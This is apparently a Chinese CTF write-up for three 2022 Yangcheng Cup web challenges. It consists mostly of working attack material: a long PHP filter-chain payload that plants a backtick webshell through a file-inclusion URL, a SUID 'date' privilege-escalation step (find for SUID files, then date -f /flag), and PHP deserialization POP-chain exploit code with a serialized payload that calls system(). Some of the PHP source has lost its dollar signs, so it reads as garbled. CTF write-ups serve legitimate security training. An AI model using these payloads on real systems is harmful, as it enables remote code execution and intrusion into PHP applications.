2022羊城杯WP-Web
Web
rce_me
这个题按理来说以为滤了_
所以之前陆师傅文中刚提出的项目里面的字符构造应该是还不能满足的,因为缺了个没有下划线的而构造的4,问题就出在IEC_P271
(自己构造过的师傅应该是知道怎么回事的),所以我们需要找一个新的4的构造方法或者替代4的其他可用字符
最后找了很久也运行了很久PHP_INCLUDE_TO_SHELL_CHAR_DICT项目中的fuzzer.php也还是没有找到4的其他可用替代,最后通过使用6替代4完成构造(6的构造方法是可用的)
代码语言:javascript复制webshelll::<?=`$_GET[0]`;;?>
base64编码::PD89YCRfR0VUWzBdYDs7Pz4=
二进制流base64使用6位一组编码::
001111
000011
111100
111101
011000
000010
010001
011111
010001
110100
010101
010100
010110
110011
000001
011101
011000
000011
101100
111011
001111
110011
1110(00) => base64编码表对应字符4
可以看到,无法满足条件的4是在最后的,而构成它的最后两位是补充的,这就意味着base64还原数据的时候最后的两位二进制数是不参与最后一个字符>
的解码过程的,因此我们可以使最后两位变为01
,10
,11
,因而最后一位的base64索引还可以为111001
,111010
,111011
,在base64编码表中对应5
,6
,7
,这三个数字的构造如下:
5(unuseful) => convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE
6(useful) => convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2
7(useful) => convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4
因此我们可以吧webshell经过base64编码的最后一位4改为6或7
这里选6
最终构造得到请求payload如下:
view-source:http://80.endpoint-cbc3c709a3024f93b8533904c775872b.dasc.buuoj.cn:81/?0=ls -al&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd
之后一句话使用蚁剑进入后台
这里当时没截图,不过进去之后直接cat /flag是不行的,有权限限制,使用SUID提权
代码语言:javascript复制find / -user root -perm /4000 2>/dev/null
看到date命令有suid权限
执行date -f /flag
得到flag
第二题
代码语言:javascript复制<?php
error_reporting(0);
class yang
{
public y1;
public function __construct()
{this->y1->magic();
}
public function __tostring()
{
(this->y1)();
}
public function hint()
{
include_once('hint.php');
if(isset(_GET['file']))
{
file =_GET['file'];
if(preg_match("/hey_mean_then/is",file))
{
die("nonono");
}
include_once(file);
}
}
}
class cheng
{
publicc1;
public function __wakeup()
{
this->c1->flag = 'flag';
}
public function __invoke()
{this->c1->hint();
}
}
class bei
{
public b1;
publicb2;
public function __set(k1,k2)
{
print this->b1;
}
public function __call(n1,n2)
{
echothis->b1;
}
}
if (isset(_POST['ans'])) {
unserialize(_POST['ans']);
} else {
highlight_file(__FILE__);
}
预期解应该是通过hint函数绕过$hey_mean_then
黑名单进行文件包含,原本解题思路
可以调用执行phpinfo,同时上传个文件,从phpinfo拿到临时文件位置,条件竞争包含历史文件
但是意外的是phpinfo直接就拿到flag了
Safepop
代码语言:javascript复制 <?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
private func = 'call_user_func_array';
public function __call(f,p){
call_user_func(this->func,f,p);
}
public function __wakeup(){
this->func = '';
die("Don't serialize me");
}
}
class Test{
public function getFlag(){
system("cat /flag?");
}
public function __call(f,p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}
class A{
publica;
public function __get(p){
if(preg_match("/Test/",get_class(this->a))){
return "No test in Prodn";
}
return this->a->p();
}
}
class B{
public p;
public function __destruct(){p = this->p;
echothis->a->p;
}
}
if(isset(_GET['pop'])){
pop =_GET['pop'];
o = unserialize(pop);
throw new Exception("no pop");
}
poc:
代码语言:javascript复制<?php
class Test{
}
class A{
public a;
}
class B{
publicp;
}
class Fun{
private func = "xxx";
public function setfunc(f){
this->func=f;
}
}
b=new B();a=new A();
fun=new Fun();fun->setfunc(array(new Test(),"getFlag"));
a->a=fun;
b->p="dir";b->a=a;s=serialize(b);
print(str_replace("}}}}","",urlencode(s)).PHP_EOL);
payload:
代码语言:javascript复制?pop=O:1:"B":2:{s:1:"p";s:3:"dir";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:" Fun func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";
simple_json
高版本JDK下JNDI的利用
看后面的文章单独写了一篇